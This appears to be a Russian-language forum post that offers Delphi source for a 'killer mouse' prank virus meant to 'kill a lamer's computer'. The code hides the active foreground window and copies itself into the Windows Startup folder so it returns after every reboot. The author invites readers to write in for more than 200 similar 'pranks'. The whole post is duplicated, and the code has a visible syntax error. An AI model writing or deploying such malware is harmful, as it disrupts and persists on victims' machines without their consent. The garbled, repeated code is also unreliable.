Как просто убить комп ламера рассмотрим несколько способов
итак вирус под названием мышь убийца стирает всё что нажмёт ) тоесть стирает активную форму
пишеться одной строкой. при перезагрузке компьютера вирус востанавливаеться ибо добавляеться в автозагрузку
и так всем понятный код )
program killer;
uses
Windows ,ShlObj;
var
tt:HWND;// обьявляем окно
path:PCHAR;
list: Pitemidlist;
begin
tt:=GETForegroundWindow; // смотрим активное окно
SetWindowPostt,HWND_BOTTOM,1,1,10,10,SWP_HIDEWINDOW); // скрываем окно, зделать можно несколькими способами
SHGetSpecialFolderLocation(0,CSIDL_STARTUp,LIST);
new(path) ;
SHGetPathFromIDList(list,path);
chdir(path);
CopyFile(PCHAR(EXtractFilePath(paramStr(0))+'название проги.exe'),'название проги.exe',true);// перемещаем в автозагрузку
end.
всё ламер убит если интерестно посмотреть ещё какиенибудь приколы прошу .пишите мне на [email]djneo@clenta.com.ru[/email] в моей коллекции более 200 приколов )
пишеться одной строкой. при перезагрузке компьютера вирус востанавливаеться ибо добавляеться в автозагрузку
и так всем понятный код )
program killer;
uses
Windows ,ShlObj;
var
tt:HWND;// обьявляем окно
path:PCHAR;
list: Pitemidlist;
begin
tt:=GETForegroundWindow; // смотрим активное окно
SetWindowPostt,HWND_BOTTOM,1,1,10,10,SWP_HIDEWINDOW); // скрываем окно, зделать можно несколькими способами
SHGetSpecialFolderLocation(0,CSIDL_STARTUp,LIST);
new(path) ;
SHGetPathFromIDList(list,path);
chdir(path);
CopyFile(PCHAR(EXtractFilePath(paramStr(0))+'название проги.exe'),'название проги.exe',true);// перемещаем в автозагрузку
end.
всё ламер убит если интерестно посмотреть ещё какиенибудь приколы прошу .пишите мне на [email]djneo@clenta.com.ru[/email] в моей коллекции более 200 приколов )